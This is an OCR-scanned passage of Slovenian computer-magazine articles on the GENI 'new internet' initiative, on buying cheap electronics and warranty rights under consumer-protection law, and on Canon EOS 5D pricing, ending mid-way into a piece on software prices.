nowih arhitektur v realnem merilu«. Pri NFS-ju so dejali $e, da bo njihovo
raziskovanje »pripomoglo k zmanjSevanju razkoraka med fizicnimi in
navideznimi svetovi z vkljucevanjem mobilnih, brez%i¢nih in senzornih
omredij. « Slikovite medijske izjave nam torej dajejo slutiti, da bi se lahko

llustracija: Marko Skerlep

O Projekt »novega interneta« GENI temelji na podobnih vrednotah kot prvotne raunalniske subkulture in
omrezne skupnosti: souporaba virov, zaupanje, zasebnost, odgovornost do skupnega omrezja ...

kaj kmalu srecali s temami, ki smo jim ponavadi prica v futuristicnih
filmih: popolna preslikava fizicnega sveta v navidezni svet bitov ter popolno
omregenje planeta. VpraSanje je, kako v praksi izpeljati GENI-jevo vizijo
»Cistega interneta«, kot so jo poimenovali snovalci.

Slednji zato prisegajo na oblikovanje novih omregnih oblik, s katerimi bi
lahko uspesno kljubovali »virtualni nesnagi«, ki smo ji prica e danes in
ki bo v prihodnosti brgkone zavzela Se druge oblike. Klju¢ni dejavnik, ki je
prispeval k razvoju danasnjega stanja na spletu, je diametralno nasprotje
kultur — tiste, v kateri je internet nastajal, in danasnje kapitalisticne
drugbe. Razvoj interneta je potekal v razmeroma majhnih subkulturah,
saj je bil dostop do racunalniske tehnologije izrazito omejen in strogo
usmerjen. Te majhne razvojne krogi, kjer je kljucno vlogo igralo znanje
(ter radovednost), je odlikovala visoka stopnja zaupanja, medtem ko
od za&etka komercializacije interneta to poganja vse akutnejSa Zelja po
zaslutku. Prav te kulturne razlike so bile odlo¢ilne pri varnostnem delu
internetnega omregja, saj v kulturi zaupanja ni resnicne potrebe po
varnostnih ukrepih in tehnologijah, kjer pa kraljujeta denar in pohlep, pa
s0 za¥citni in varnostni mehanizmi Se kako potrebni. Prav zato GENI
podpira razvoj omreinih arhitektur, ki naj bi uravnotefile zasebnost
in odgovornost ter ponudile raznolike zascite, temeljece na razlikah in
lokalnih vrednotah. Ena od pomembnejsih vrednot pobude je zasebnost,
katere ponovna opredelitev in vrednostno »oplemenitenje« bosta brgkone
igrala kljuéno vlogo pri razvoju novega interneta. Sodelujoci pri projektu

vidijo potencialne tefave pri ravno pravinji meri zasebnosti, saj bi nadaljnje
pomanjkanje zasebnosti Se naprej najedalo %e tako razrahljano zaupanje v
storitve elektronskega poslovanja. Po drugi strani pa bi prevelika zasebnost
onemogocila pravocasno in dovolj obse¥no zaznavanje napadov in drugih
tefav v omreZju. GENI-jev raziskovalni projekt bo v preizkusne namene
povezan tudi x Ze obstojecim omregem internet 2. Pobuda GENI bo po
trditvah sodelujocih tudi blizu uporabnikom, saj bodo Stevilni povabljeni

k udelezbi in preizkusanju novih aplikacij. S tem naj bi GENI uresnicil
poslanstvo xmanjSevanja razkoraka med trenutnimi preizkusnimi
Sirokopasovnimi omre¥ji in obiajnimi internetnimi uporabniki. Nadaljnja
altruistiéna poteza pobude GENI je omogocanje souporabe ekvivalentnih
streniskih in omregnih virov. Sodec po vrednotah in ciljih pobude bi

lahko rekli, da se zgodovina ponavlja, saj GENI temelji na podobnih
vrednotah kot prvotne racunalniske subkulture in omre¥ne skupnosti.
Souporaba virov, zaupanje, altruizem, ymanjSevanje razlik, oplemenitenje
zasebnosti in odgovornost do skupnega omregja so le nekatere. Zanimivo
vrednostno vzporednico najdemo na podro&ju gibanja OpenSource, kjer
zelo podobna nacela vodijo razvoj programske opreme. Vprasanje je, kako
bodo na to reagirale vodilne dr¥avne institucije in dr¥ave nasploh, saj bodo
zaradi arhitekturnih posebnosti »novega interneta« brgkone razlicni tudi
mehanizmi nadzora.
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AKTUALNO
Kupujemo poceni?
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Slovenski trg racunalniske in opreme
zabavne elektronike so preplavili ceneni
izdelki, ki se jim je tezko upreti. Ko
skoCimo v nakupovalni center po kilo

kruha, mimogrede v vozicek potisnemo
Se akcijsko ugodni %
DivX-predvajalnik ali

ploski televizor.

Gre pri tem za dober

ali slab nakup?

Piseta: Marjan Kodelja in Zoran Banovié
marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si

a kupca je vsekakor veliko bolje, ¢e za
izdelek placa deset tiso¢akov kot nekaj
deset tisotakov. Poceni ponudba stavi
na karto, da kupec pozabi na rek »Ni-
sem tako bogat, da bi kupovali poceni« in se
raje odlo¢a na podlagi trenutnega nagiba. Ne
zanima ga, ali je izdelek dovolj kakovosten za
njegove potrebe niti ali bo imel teZave, ce ali
ko se bo izdelek pokvaril. Zahtevana cena ga
navdaja z lafnim prepri¢anjem, da to niti ni
pomembno. »Ce se bo izdelek pokvaril, bom
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kupil novega. Saj stane le deset tiso¢akov. In
&e bom hotel imeti bolj$o kakovost, bom po-
meje kupil kakovostnejsi izdelke«, razmislja.
To razmisljanje je po svoje dobro in tudi logit-
no, a ga ne gre uporabiti v vseh primerih. Se
zlasti ko ne gre za nakup poceni predvajalni-
ka, temve& za nakup ra¢unalnika, ki ga bomo
veliko ve¢ uporabljali in pri katerem se bodo
njegove slabosti veliko usodneje pokazale.

KAJ JE DOBER NAKUP

Dober nakup je, ko za svoj denar oziroma
najmanj denarja dobimo najve¢. V nasi reviji
smo %e nekajkrat omenili oziroma predlagali,
da pri nakupu ratunalniske opreme preverite

<> Tudi neznane blagovne znamke so lahko kakovostne, po drugi strani pa
se vCasih za njimi skrivajo izdelki na meji uporabnosti ali celo namenjeni

reSevanju reklamacij.
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akcijske ponudbe, kjer je morda najugodneje
kupiti dolo¢en izdelek. Pri teh akcijah gre obi-
&ajno za razprodajo zalog, nastop novega po-
nudnika ali podobno. Tega ne smemo enaciti
s prodajo poceni izdelkov neznanih blagovnih
znamk. Ce gre za nekoliko vegjo stvar, je naj-
prej treba v miru premisliti, kaj sploh ho¢emo
imeti in katerim kakovostnim in funkcional-
nim merilom mora izdelek zadostiti. Ce je le
mogoce, dolo¢imo celo proizvajalca in model
izdelka, ki bi ga najraje imeli, nato pa preve-
rimo, tako doma kot v tujini ter v klasi¢nih
in spletnih trgovinah, kdo ga ponuja po naj-
ni%ji ceni in z najve¢ dodatnimi ugodnostmi.
A vedno to ni mogod&e. Zato se je treba zado-
voljiti vsaj z dologitvijo kategorije izdelka in
znotraj nje narediti selekcijo. Vzelo bo sicer
nekaj ¢asa, a na koncu bomo vsaj zadovoljni z
nakupom in na podstresju se ne bodo nabirali
poceni kupljeni izdelki, ki jih ne potrebujemo
oziroma niso zadostili pri¢akovanjem.

ZNANE BLAGOVNE ZNAMKE PONUJAJO VEC?

Za kupca je dobro, ¢e je ponujena garancij-
ska doba ¢im daljsa. V idealnem primeru, torej
brez trinih trikov, bi iz tega lahko potegnili ne-
posredno povezavo: izdelek z daljso garancijsko
dobo je kakovostnejsi od tistega s krajso. Ce gre
za funkcionalno enaka izdelka, to pomeni, da
ima prvi vdelane kakovostnejse sestavne dele,
ki so manj podvrieni okvaram. Vzemimo na
primer osebni ratunalnik. V dra¥jega so vdelani
boljsi trdi diski, boljsi opti¢ni pogoni, ve& asa
in denarja je proizvajalec namenil testiranju iz-
delkov pred posiljanjem na trg in zagotavljanju
kakovosti in bolj je preucil medsebojni vpliv
sestavnih delov. V zadnjem Casu to ne velja
vedno, vsaj pri tistih izdelkih ne, ki so podvr-
%eni zakonitostim mno%i¢nega trga, kjer sta naj-
pomembnejsi cena izdelka in hitrost njegove
predstavitve na trgu. Hkrati konkuren¢ni boj
od proizvajalcev zahteva, da neprestano zmanj-
Sujejo stroske, kar privede do klestenje denar-
ja za dodaten nadzor kakovosti ali celo selitve
proizvodnje na podrodja, kjer je delovna sila
cenej¥a. Vzro¢na povezava je lahko tudi v slabgi
kakovosti izdelkov priznanih blagovnih znamk.

V vegji ali manjsi meri se ponujene daljse
garancijske dobe lahko izrabljajo v namene
tr¥nega boja. Proizvajalec ali prodajalec lahko
s podalj$anjem garancijske dobe kratkoro&¢no
pridobi konkurenéno prednost na dolo¢enem
trgu. Recimo, da ima kupec na voljo dva ce-
novno popolnoma enaka izdelka (dva ratu-
nalnika z enakimi znadilnostmi), razlika je le
v garancijski dobi. Nagonsko se bomo v takem
primeru odlo¢ili za izdelek prodajalca, ki nam
ponuja daljSo garancijo. Ne zanima nas oziro-
ma se nas tudi ne tice, koliko je ta doba rezultat
kakovosti izdelka in koliko zgolj prerac¢unano
tveganje prodajalca oziroma proizvajalca. Da
je temu tako, pri¢a tudi dejstvo, da imajo isti
izdelki enega proizvajalca razli¢ne garancijske
dobe na razli¢nih trgih. Na primer v Nemdiji
je doba 3 leta, pri nas pa zgolj eno leto. Ni pa
nujno, da je razlog za razliko zgolj v tem. Lahko
da je prodajalec v Nemdiji pa¢ na racun daljse
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garancije pristal na vi§jo nabavno ceno kot ta
v Sloveniji.

PREPLACANA BLAGOVNA ZNAMKA

Konkurenéni boj proizvajalcev in velika po-
nudba cenejsih in kakovostno skoraj (ali celo
popolnoma) primerljivih izdelkov proizvajal-
cev iz daljnovzhodnih dr?av, je povzrotila, da v
ceni izdelkov priznanih blagovnih znamk ni ve
tako velik dele? »blagovne znamke«. Izjema so
morebiti ra¢unalniki podjetja Apple, ki Se ved-
no stavi na svoje ime. Tisto, kar do neke mere Se
velja je, da priznani proizvajalci vseeno ve& ¢asa
in denarja namenijo kakovosti izdelkov.

V proizvodnji dologenega izdelka vedno ob-
staja dolo&en odstotek izdelkov, ki so tako sla-
bi, da ne ustrezajo minimalnim zahtevam ozi-
roma so ravno na meji. Kaj z njimi? Nac¢eloma
bi jih moral proizvajalec uniciti. A jih ne. Po
izredno ugodnih cenah in pod drugo blagovno
znamko jih poslje na trge z milejo zakonodajo
o varovanju potrosnikov (ali pa te sploh ni).

<> Pri nakupu racunalniSke opreme preverite akcijske ponudbe, kjer je morda
najugodneje kupiti doloCen izdelek. Tega pa ne smete enaciti s prodajo poceni

izdelkov neznanih blagovnih znamk.

In ker potrosniki tako ne vedo, kdo je te iz-
delke dejansko izdelal, si s tem proizvajalec ne
uma¥e ugleda svoje lastne blagovne znamke.
Ali lahko v ta segment umestimo tudi izdel-
ke, ki se po izredno ugodnih akcijskih cenah
prodajajo v naih trgovinah in sligijo na imena
nepoznanih blagovnih znamk? To bi zelo tetko

dokazali.
NEZNANE BLAGOVNE ZNAMKE

Nove, neznane blagovne znamke so zadnje
Case trino dokaj uspesne. A ne zgolj zaradi
nizke prodajne cene, saj ne gre nujno tudi za
nekakovostne stvari. Pri teh izdelkih je na pri-
mer zanimiv nadin, kako uvoznik oziroma di-
stributer poskrbi za svoj trg. Pri tem mislimo
predvsem na to, kako poskrbi za odpravljanje
te¥av, ki bi se lahko pojavile z izdelki. Vzemi-
mo na primer distributerja v Sloveniji. Ta od
proizvajalca iz Tajvana narodi in placa recimo
10 tiso¢ DivX-predvajalnikov. Ker gre za po-
ceni izdelek, katerega popravljanje obi¢ajno ni
ekonomi¢no, proizvajalec poslje kupcu 11 ti-
so€ predvajalnikov. PreseZek 1000 izdelkov je
namenjen reSevanju morebitnih reklamacij, s
katerimi proizvajalec nima vec ni¢. Ideja mor-
da niti ni tako slaba, saj se izdelki ne popravlja-
jo, temve¢ menjajo, kar je hitreje in ceneje in
tudi kupec je zadovoljne;jsi, ¢e dobi takoj nov
izdelek namesto pokvarjenega.

A nastanejo lahko tudi teZave. Kaj ¢e se v
Casu veljavne garancije pokvari ve¢ kot 1000
izdelkov? Ker je pogodba sklenjena tako, kot
je, padejo vsi stroski popravil na pleca pro-
dajalca. Kaj pa, ¢e prodajalec recimo nima re-
zervnih delov za to napravo? Nekaj sicer lahko
nadomesti iz vrnjenih, vsega pa verjetno ne. V
tak$nem primeru se lahko opecejo tudi kupci.
Predvsem tisti, ki se jim je izdelek pokvaril, ko

Kupujemo poceni?

Navodila v slovenskem jeziku

Zakon predvideva, da so izdelki, ki so naprodaj v Sloveniji, opremljeni z vsemi potrebnimi
navodili v slovenskem jeziku. Tisto, kar obi¢ajno dobimo poleg izdelka — izstopajo predvsem
izdelki zabavne elektronike in bele tehnike —, pa bi tezko ocenili kot li¢no in uporabno. Zmeg-
kane fotokopije izredno slabe kakovosti na par listih in polne slovni¢nih napak in nesmislov,
pri Eemer so &rke tako male, da za branje potrebujete mikroskop, po naSem mnenju ne morejo
biti odlika prodajalcev. Pa je tako. Da ne govorimo o prevodih, kjer se $e kako vidi, da pre-
vajalec ali ni bil nase gore list ali pa preprosto ni vedel, kaj to¢no prevaja.

Razumemo, da prevodi stanejo in da pri poceni izdelkih ni toliko dodane vrednosti, da bi se
lahko plagal dober prevajalec, a to, kar najdemo veasih pri nagih izdelkih, je pod vsako kritiko.
Poleg izdelka dobimo li¢no knjiZico z navodili v vseh mogocih jezikih in opremljeno s slikovni-
mi dodatki, zraven pa slabe fotokopije &ez palec narejenih prevodov, ki so tu zato, da zadostijo
zakonskim normativom, ne pa da koristijo uporabniku. Kajti zakon govori le o tem, da morajo
bili slovenska navodila, ne pa tudi, kaksne kakovosti morajo biti.

je Stevilo reklamacijskih izdelkov %e poslo. A
proizvajalci obi¢ajno pravilno ocenijo verjet-
nost okvar in s tem 3tevilo reklamacijskih iz-
delkov, zato je verjetnost, da se bo zgodilo kaj
tak$nega, razmeroma majhna. Bistveno verjet-

nejsa je mo#nost, da bo prodajalec v Sloveniji
postal pohlepen. Pohlepen do te mere, da teh
reklamacijskih izdelkov ne bo obdr?al za name-
ne menjave, temved jih bo poslal na trg. To pa
je povsem realen scenarij. Pred €asom je bilo

recimo ugotovljeno, da je neko podjetje pro-
dajalo programsko opremo, ki jo je dobilo od
proizvajalca v testne namene. Te pakete, ki so
bili jasno oznadeni z etiketo, na kateri je pisalo
»Not for resale«, torej taksne, ki so bili name-
njeni novinarjem in predstavitvam zmoglji-
vosti programa, je to podjetje prodajalo, in to
po polni ceni kot za »pravi« paket. In &e se je
lahko zgodilo to, zakaj se ne bi tudi prodaja iz-
delkov, namenjenih reSevanju reklamacij.
Prav zaradi tak$nih mo?nosti in slabih iz-
kusenj v preteklosti, veliko kupcev prisega na
znane blagovne znamke. Nekaj gre pripisati

tudi navajenosti na dolo¢eno ime in neobves-
Cenosti, a tega je vse manj, zlasti pri domacih
uporabnikih. Res pa je tudi, da znane blagovne
znamke ne pomenijo ved tako velike cenovne
razlike, kot so jo $e do pred kratkim. Ce smo
v&asih morali za ratunalnik uglednega proizva-
jalca placati tudi dvakrat veg, je ta razlika zdaj
minimalna ali pa je sploh ni. Toda to ni po-
sledica dobrodelnosti tega proizvajalca, ampak
prilagajanje stanju na trgu, ki jih je v to prisilil.
In kdo je bil ta, ki jih je prisilil? Ravno neznani
proizvajalci, ki so za bistveno manjsi denar po-
nudili kakovostno primerljive izdelke. W

Visoka cena ne zmanjSa nujno povprasevanja

V svetu raunalnistva in digitalne fotografije je Ze kar postalo pravilo, da imajo novi modeli
boljse tehni¢ne lastnosti in ni%je cene kot starejsi. Prodajne cene so obi¢ajno celo niZje od tistih,
ki so jih napovedovali pred izidom izdelka. A tokrat se bo, kot kaze, zgodilo nasprotno. Canon je
konec avgusta predstavil nov zrcalnorefleksni fotoaparat z oznako EOS 5D. Gre za tretji njihov
model, ki ima tipalo iste velikosti, kot je povr$ina 35 mm filma. Po tehni¢nih lastnostih je apa-
rat malce nad modelom 20D in krepko pod 1D, predvsem kar zadeva hitrost zajema in moZnosti
ostrenja. Zaradi velikega §tevila pik (13 milijonov) in velikega tipala je kljub temu pozel veliko
zanimanja fotografske srenje. Marsikdo namre& ne potrebuje osmih posnetkov na sekundo, za-
do3ta pa mu tudi devet tock ostrenja. Velika pri¢akovanja so bila predvsem kar zadeva ceno
novinca. Pred njegovo napovedjo so bila ugibanja, da bo ta nekje med 2000 in 3000 evrov, kar
bi bilo celo v dosegu marsikaterega amaterskega ljubitelja fotografije. A napovedana cena je pre-
cej vi§ja — 3500 evrov. Vendar to ni ustavilo zanimanja. Pri Canonu so o&itno pravilno ocenili,
da na tem podro&ju nimajo prave konkurence. Da vi§ja cena ne bo zaustavila povprasevanja, je
bila o¢itno dobra ocena. VpraSanje je le, ali bo Canonu uspelo nasititi la¢ni trg. Drugi, Nikon,
Olympus, Konica Minolta in Pentax se zaenkrat usmerjajo na §iroko potro¥njo, torej na modele
niZjega cenovnega razreda. Trenutno stanje je torej dokaj neugodno za resne uporabnike, ki
morajo krepko posedi v Zep za svoje delovno orodje. Po drugi strani mo¢no pada cena fotografij,
kar $e dodatno omaja odlogitev za nakup novega modela.
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AKTUALNO
Kupujemo poceni? Garancija kupljene opreme

Zakon o varstvu potrosnikov predpisuje pravice in dolznosti kupcev in prodajalcev. V
njem je tudi del, ki govori o garanciji na kupljeno blago. Ali vemo dovolj o dolznostih

in pravicah kupcev in prodajalcev?

PiSeta: Marjan Kodelja in Zoran Banovié
marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si

garanciji kupci ne razmi§ljamo veliko.

Na vrsto pride takrat, ko se zadeva po-

kvari. Praksa kaZe, da veliko kupcev ne

pozna pravic in dolZnosti prodajalcev,
kar zadeva servisiranje izdelka v garancijskem
roku in se zanaSa na profesionalnost, poStenost
in eti¢nost serviserja. S tem ni tefav, dokler
ne naletimo na serviserja, ki se ne dr¥i pravil
tako, kot bi se moral. Ne trdimo, da so serviser-
ji goljufi, ki %elijo »nategniti« neukega kupca.
A obcasno se, tako kot v vseh sferah ¥ivljenja,
pokaZe kak$na &rna ovca, ki hote malce zaobiti
zakon ali si ga vsaj po svoje razlaga. Kaj torej
prodajalcem nalaga zakon?

KAJ PRAVI ZAKON

»Garancija je jamstvo proizvajalca, da bo brezplac-
no odpravil napake ali zamenjal okvarjeni izdelek za
novega, e kupljeni izdelek dologen &as (garancijski
rok) ne bo brezhibno deloval. Pravice iz garancije lah-
ko kupec uveljavlja bodisi od prodajalca ali proizvajal-
ca (z njim je izenacen uvoznik ali predstavnistvo pro-
izvajalca v Sloveniji) . V primeru vrednejsih izdelkov je
priporocljivo, da potrosnik o okvari izdelka nemudoma
pisno obvesti tudi prodajalca, ceprav je izdelek dal v
popravilo pooblasdenemu servisu. Opozoriti je namred
treba, da kupec pri wveljavljanju garancije nima di-
rektnih zahtevkow do servisa. Ce izdelek ni popravljen
v 45 dneh ali &e se napaka ponavlja in je ni mogno
odpraviti, mora zahtevati zamenjavo izdelka od pro-
dajalca ali proizvajalca in ne od servisa.

Ce mu prodajalec izdelka ne popravi ali ga noce za-
menjati, lahko kupec zahteva vmitev kupnine ali pa
wniZanje cene in odskodnino, e je nastala zaradi tega,
ker izdelka ni mogel uporabljati.

Vse stroske popravila izdelka nosi proizvajalec in ne
kupec. Ce mu proizvajalec ali serviser za Cas popravila
ne zagotovi brexplacnega nadomestnega izdelka, ima
potrosnik pravico do odskodnine za morebitno Skodo,
ki je nastala zaradi neuporabe izdelka.

Podaljsanje garancijskega roka

Pravilo o podaljSanju garancijskega roka za &as, ko
je bil izdelek v popravilu, vsebuje obligacijski zakonik.
Ce pa je bil izdelek zamenjan ali bistveno popravljen,
zacne teCi garancijski rok znova od zamenjave izdelka
oziroma od vrnitve popravljenega izdelka«

(Vir: BroSura Pravice potro$nikov po zakonu o varstvu potrosnika)

PRODAJALCI KRSIJO ZAKON?

Ce zgornjo razlago preberete natanéno, boste
hitro videli, da se zakonska pravila na podrogju
prodaje ra¢unalniske opreme in naprav zabavne
elektronike na veliko krsijo. Ne bomo razprav-
ljali, ali je zakon preve& rigorozen do prodajal-
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cev, to je stvar predlagatelja zakona, torej vlade,
niti ne, ali se tak$na praksa pojavlja tudi v tu-
jini. Dejstvo je, da zakon velja in se ga je treba
dr¥ati. In prodajalci niso izjeme.

Najvet teZav se pojavlja pri zamenjavi okvar-
jenega izdelka. Dogaja se namre&, da kupec ob
reklamaciji ne dobi novega izdelka, temve&
starega, obnovljenega ali izdelek, ki ga je rekla-
miral nekdo drug in je bil popravljen. Skratka
takSnega, ki ga je pred njim nekdo %e uporab-
ljal. Pri tem je teZava v tem, da obi¢ajno ni na
prvi pogled vidno, da izdelek ni nov. Se veg,
prodajalec (oziroma njegov pooblas¢eni servi-
ser) lahko na zamenjani izdelek nalepi identi-
fikacijsko nalepko starega in tako za zamenjani
izdelek trdi, da gre v bistvu za popravljenega.
Vse to je krSenje zakona.

Pri zamenjavi ali bistvenem popravilu bi
moral znova zadeti te¢i garancijski rok. Dogaja
pa se, da na to podrobnost preprosto pozabijo
in kupec ostaja pri starem garancijskem roku.
Zakon sicer ne predpisuje, kaj je bistveno po-
pravilo, vendar nam tu lahko pomaga zdrava
kmecka logika. Ce v osebnem racunalniku za-
menjajo procesor, mati¢no plos¢o ali v prenos-
nem racunalniku zaslon, to verjetno sodi v to
kategorijo. Ce vam torej garancijskega roka ne
priznajo znova, je to krsitev zakona. Ce to kr-
Sitev zaznate, se je treba pritoZiti. V ve&ini pri-
merov boste tudi dosegli svoje, &eprav vas bodo
morda prodajalci malce postrani gledali.

NADOMESTNI IZDELEK

20. ¢len

1. Proizvajalec mora zagotoviti, da pooblase-
ni servisi razpolagajo z vsemi potrebnimi nado-
mestnimi deli za odpravo okvar in pomanjklji-
vosti, da takoj sprejmejo blago v popravilo in da
napake odpravijo najkasneje v skupnem roku

Kdaj garancija ne velja

<> Pri zamenjavi ali bistvenem
popravilu mora znova zaceti tecCi
garancijski rok. Dogaja pa se, da na to

podrobnost preprosto pozabijo in kupec
ostaja pri starem garancijskem roku.

45 dni od dneva, ko je dajalec garancije oziroma
pooblas¢eni servis prejel zahtevo za brezplatno
odpravo okvare in pomanijkljivosti izdelka. Ce
proizvajalec tega v tem roku ne stori, mora po-
tro$niku brezpla¢no nadomestiti tak izdelek z
enakim novim in brezhibnim izdelkom.

2. Proizvajalec oziroma pooblaséeni servis
lahko potro$niku za ¢as popravila blaga, za kate-
rega ta uveljavlja garancijo, zagotovi brezpla¢no
uporabo podobnega izdelka.

3.V primeru, da proizvajalec oziroma poob-
lagCeni servis tega potro$niku ne zagotovi, ima
potro$nik pravico do povracila skode, ki jo je
pretrpel zaradi tega, ker stvari ni mogel uporab-
ljati, in sicer od trenutka, ko je zahteval popra-
vilo ali zamenjavo, do njune izvrsitve.

Zakon predvideva, da je izdelek v garanciji

Prodajalci in proizvajalci si veasih poglede na to, kdaj garancija velja in kdaj ne, razlagajo po
svoje. Ker v zakonu ne more pisati vse, kar se lahko zgodi, so v njem seveda le nacelne dolo¢be,
ki opisujejo, da garancija ne velja pri okvarah, nastalih zaradi nepravilne uporabe, malomarnega
ravnanja, mehanske poskodbe in okvar v primeru visje sile (na primer strela). Prav tako garan-
cija preneha veljati, ¢e je v izdelek posegla nepooblai¢ena oseba.

Tak3na ohlapna dolotila seveda pus€ajo precej prostora razli¢nim razlagam. Kako dokazati ne-
pravilno uporabo ali malomarno ravnanje z izdelkom? In kako dokazati, da nepravilne uporabe
ali malomarnega ravnanja ni bilo? Kupec lahko trdi eno, prodajalec drugo.

Problemati¢na, Ceprav razumljiva, je tudi zapoved, da naprave uporabnik ne sme odpreti in
da v takem primeru garancija preneha veljati. Servisiranje izdelka je strosek in v konkurenénem
boju je treba stroske oklestiti, kjer gre. In &e je na izdelku vidno, da je bil odprt, serviser ne more
vedeti, ali je kupec zadevo odprl zato, ker ga je zanimalo, kako je videti »drobovje«, ali pa je eks-
perimentiral in stvar pokvaril. In ker je pri odprtem izdelku verjetnejse, da ga je pokvaril kupec,
bo tudi na njegova pleca padlo dokazovanje, da ni kriv za okvaro. To pa je lahko boj z mlini na
veter. Zato vam odsvetujemo, da sami posegate v izdelek, za katerega Se vedno tece garancijska
doba. Tudi ¢e bi radi le pogledali, kako je videti od znotraj.



AKTUALNO

treba popraviti najpozneje v skupnem roku 45
dni, kjer se ¢as veckratnega odpravljanja iste te-
ave seSteva. Po naSem skromnem misljenju je to
za racunalniS$ko opremo (in verjetno tudi za kaj
drugega) obcutno prevec. Ve&ina servisov zadeve
popravi veliko prej, a vsaj zakonsko so za nestan-
dardne primere kriti. Zdaj se lahko vprasamo,
kako to vpliva na kupce. Kupili ste osebni racu-
nalnik za doma&o uporabo, z njim opravljate tudi
popoldansko obrt. Ker ga ne morete uporabljati
tistih nekaj dni, vam izostane pri¢akovani pri-
hodek, torej lahko od prodajalca zahtevate po-
vrnitev nastale Skode. Vprasanje je le, kako to
Skodo dokazati in kako jo od prodajalca izterjati.
Vectina nas o tem niti ne razmilja in ne ve, da to
zakonsko dolotilo velja oziroma raje potrpimo,
kot da bi zahtevali nadomestni izdelek.

VRACILO KUPNINE IN POSEGI V NAPRAVO

V skladu s pravili garancije je v primeru okva-
re treba prodajalcu dati najprej moznost, da v
zakonsko predpisanem roku okvaro odpravi. Ce
tega ni sposoben lahko kupec zahteva oziroma
mu prodajalec ponudi mo¥nost zamenjave iz-
delka z novim, brezhibnim izdelkom. Ce tudi to
ni mogoce in $ele tedaj, lahko kupec odstopi od
pogodbe in zahteva povrnitev kupnine. Kupec
lahko ¥e prej zahteva zamenjavo, na primer ko
veckrat prinese izdelek na servis z isto okvaro in
je jasno, da jo servis ne zna ali more odpraviti.

Svojevrsten problem je nadgrajevanje racu-
nalnikov. Ti so opremljeni z nalepko, ki se pri
odprtju ratunalnika pretrga, hkrati pa je v na-
vodilih za uporabo zapisana prepoved nepoob-
la3¢enega posega v izdelek. Dostikrat predvsem
racunalnisko bolj izobra%eni uporabniki sami
nadgradimo ratunalnik s kaksno kartico ali di-
skom, saj se nam zdi za malo, da smo vezani zgolj
na ponudbo in s tem ceno teh delov pri pro-
dajalcu, ki nam je ratunalnik prodal. Obi¢ajno
velja, da v tem primeru garancija brezpogojno
preneha veljati. A po zakonu ni &isto tako. Pro-
dajalec lahko v primeru okvare ugovarja in za-

Kupujemo poceni? Garancija kupljene opreme

Staro za staro

Nekdo je meseca maja kupil nov digitalni fotoaparat, ki Ze takrat ni brezhibno deloval. Veckrat
je namre¢ »zmrznil« in edina reitev je bila odstranitev baterije in njena ponovna namestitev.
Seveda ga je odnesel na servis. Po enem tednu so mu iz servisa sporotili, da so odpravili napako in
da je bilo nekaj narobe z vdelanim zaslonom. Sele doma je podrobno pogledal, kaj je ob prevzemu
podpisal in bil nemalo presenecen. Pisalo je namreé, da so mu fotoaparat zamenjali. Ni¢ poseb-
nega pri dana$nji tehniki, ko je vse tako kompaktno narejeno, da kaj dosti popravljanja sploh ni
mogo&e. Hec pa je, da je kupec dobil isti model fotoaparata, vendar je bil ta starejsi (in tudi Ze
rabljen) kot izdelek, ki ga je prinesel na servis. Ve¢ina kupcev tega ne bi opazila, na3 kupec pa je.
Z zadevo se je najprej sprijaznil, ko pa je malo premislil, je vseeno zahteval nov fotoaparat. In ga
tudi dobil. Pa eprav je praksa skregana z zakonom o varstvu potro$nikov, kjer pise, da &e popra-
vilo ni mogoée, mora prodajalec izdelek zamenjati z novim in nikakor ne starim. Pri omenjenem
primeru je $e ena teava. Na zamenjani fotoaparat je bila nalepljena nalepka s serijsko stevilko
starega fotoaparata, hkrati pa garancijskega roka niso podaljsali. Zakon o varstvu potro$nikov
namre pravi, da ob menjavi garancija velja od zacetka z dnem menjave. Pri tak§ni praksi imajo
lahko kupci dodatne tezave, morda ne pri digitalnih fotoaparatih, temved pri katerih drugih iz-
delkih, kjer so identifikacijski podatki naprave zapeceni v njen spomin. Gre namrec za to, da bi
pri morebitnih teZavah lahko represivni organ ugotovil, da je nekaj narobe, saj se serijska stevilka

trdi, da je za okvaro kriv nepooblai€eni poseg v
izdelek. Cisto na ledu pa kupci le nismo, & nam
uspe dokazati, da poseg sam po sebi ni razlog za
okvaro. A dokazovanje je lahko tudi mu¢na za-
deva, gordijski vozel, ki se v skrajnem primeru
lahko razveZe Sele na sodidcu.

GARANCIJSKI LIST ALI RAGUN?

Naceloma moramo imeti oboje, ¢eprav se da
tudi zgolj z enim ali drugim. Kupec lahko za-
hteva uveljavljanje garancije tudi, ¢e mu pro-
dajalec tako ali drugae ni izdal garancijskega
lista za izdelke, za katere zakon predpisuje, da
je garancija obvezna. Ratunalniska oprema je
v zakonu zapisana. V tem skrajnem primeru je
dovolj, da kupec predlo?i racun, na katerem je
jasno zapisano, kdaj in kateri izdelek je kupil

Naleteli smo recimo na primer, ko je kupec
garancijski list dobili mesec dni po nakupu iz-
delka po posti, saj v asu nakupa prodajalec ni
imel garancijskih listov. Na naknadno poslanem
garancijskem listu pa ni bilo oznadeno, kdaj je

na nalepki ne ujema s podatki v napravi. To seveda poraja sum, da je izdelek ukraden.

bil izdelek kupljen. Izdelek se je pokvaril in ku-
pec ga je odnesena servis skupaj z garancijskim
listom, a brez ratuna, saj ga je izgubil (izdelek je
bil kupljen skupaj s kruhom in drugimi Zivljenj-
skimi potreb$tinami). Le sreti je bilo pripisati, da
je serviser izdelek obravnaval kot nekaj, kar se je
pokvarilo v garancijskem roku. In 3e to le zato,
ker je vedel, da izdelka pred letom dni, kolikor je
bila zanj predpisana garancijska doba, $e ni bilo v
prodaji, torej ga tudi kupec ni mogel kupiti zunaj
garancijskega roka. Kaj pa bi se zgodilo, ¢e bi bil
izdelek v prodaji ve& kot eno leto? V tem primeru
bi se kupec lahko obrisal pod nosom.

Primer ka¥e na to, da moramo biti kupci Se
kako previdni, ko prevzamemo izdelek, in mo-
ramo obvezno preveriti tudi tak$no podrobnost.
Ce vam nekdo rece, da garancija velja z racu-
nom, ga vseeno prosite, naj vam na garancijski
list pritisne peat prodajalca in vpiSe datum, saj
se s tem lahko izognete te¥avam, ki bi jih lahko
imeli, Ce izgubite racun.

|
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AKTUALNO
Kupujemo poceni? Nakup programske opreme

BLIZNJICE DO ZMEHNEJSIH CEN

Nakup programske opreme, '
Ce ne gre ravno za tisto
najosnovnejso, torej
operacijski sistem, je lahko
za domace uporabnike,

ki recimo pisarniskega
paketa ne bodo uporabljali
v pridobitne namene, zelo
velik problem. Pri ceni sto
ali veC tisoCakov tudi tiste
najbogatejSe vsaj delno
